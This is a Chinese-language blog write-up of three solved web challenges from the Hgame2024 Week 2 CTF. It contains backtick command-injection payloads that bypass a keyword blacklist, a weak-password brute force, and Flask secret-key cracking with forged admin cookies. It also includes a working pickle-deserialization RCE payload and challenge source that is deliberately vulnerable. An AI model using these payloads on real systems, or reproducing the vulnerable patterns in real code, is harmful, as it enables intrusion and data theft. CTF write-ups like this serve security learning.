目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. What the cow say?
    2. 2.2. Select More Courses
    3. 2.3. myflask
    4. 2.4. search4member (Unsolved)
    5. 2.5. 梅开二度 (Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Hgame2024 Week2

2024/2/8 CTF线上赛
  |     |   总文章阅读量:

前言

于是第二周就没怎么打了


Web

What the cow say?

linux命令执行

进去给了一个框

测试了一下发现输入~的时候会回显 /root

猜测这是一个直接执行linux命令的框

内部逻辑应该是

echo {{user_input}}

直接套双引号执行命令

user_input=`ls /`

发现flag在/flag_is_here文件夹下

user_input=`tac /f*/f*`

直接读取即可

app.py

from flask import Flask, render_template, request, redirect, url_for
import subprocess

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    result = None
    if request.method == 'POST':
        user_input = request.form['user_input']
        result = run_cowsay(user_input)
    return render_template('index.html', result=result)

@app.route('/post', methods=['POST'])
def post():
    if request.method == 'POST':
        user_input = request.form['user_input']
        result = run_cowsay(user_input)
    return render_template('index.html', result=result)

def run_cowsay(text):
    try:
        if waf(text):
            cmd_output = subprocess.check_output('cowsay ' + text, text=True, stderr=subprocess.STDOUT, shell=True)
            return cmd_output.strip()
        else:
            cmd_output = subprocess.check_output('cowsay Waf!', text=True, stderr=subprocess.STDOUT, shell=True)
            return cmd_output.strip()
    except subprocess.CalledProcessError as e:
        return run_cowsay("ERROR!")

def waf(string):
    blacklist = ['echo', 'cat', 'tee', ';', '|', '&', '<', '>', '\\', 'flag']
    for black in blacklist:
        if black in string:
            return False
    return True

if __name__ == '__main__':
    app.run("0.0.0.0", port=80)

Select More Courses

爆破

可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt

抓包丢bp爆破就行

image-20240208144408704

得到password是qwert123

进入系统,选课即可得到flag(草这里原来要条件竞争请求/api/expand的)


myflask

cookie伪造 + pickle反序列化

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

本地调试发现currentTime是一个6位数字

image-20240208155618086

那就可以用flask-unsign直接爆破

def brute_force():
    start = 100000
    end = 200000

    with open("timedict.txt", "w") as file:
        for num in range(start, end+1):
            file.write('"'+ str(num) + '"' +"\n")

brute_force()
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcSHsw.MM2d6hkoiV87d95HnLbylYQPSIY" --wordlist timedict.txt

image-20240208164523701

得到key

加密

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '154929' --no-literal-eval

image-20240208155522956

接下来pickle反序列化

直接命令执行即可

import pickle  
import base64  
  
class opcode(object):  
    def __reduce__(self):  
        return eval,("__import__('os').popen('cat /f*').read()",)  
  
a=opcode()  
print(base64.b64encode(pickle.dumps(a)))

image-20240208164457231


search4member (Unsolved)


梅开二度 (Unsolved)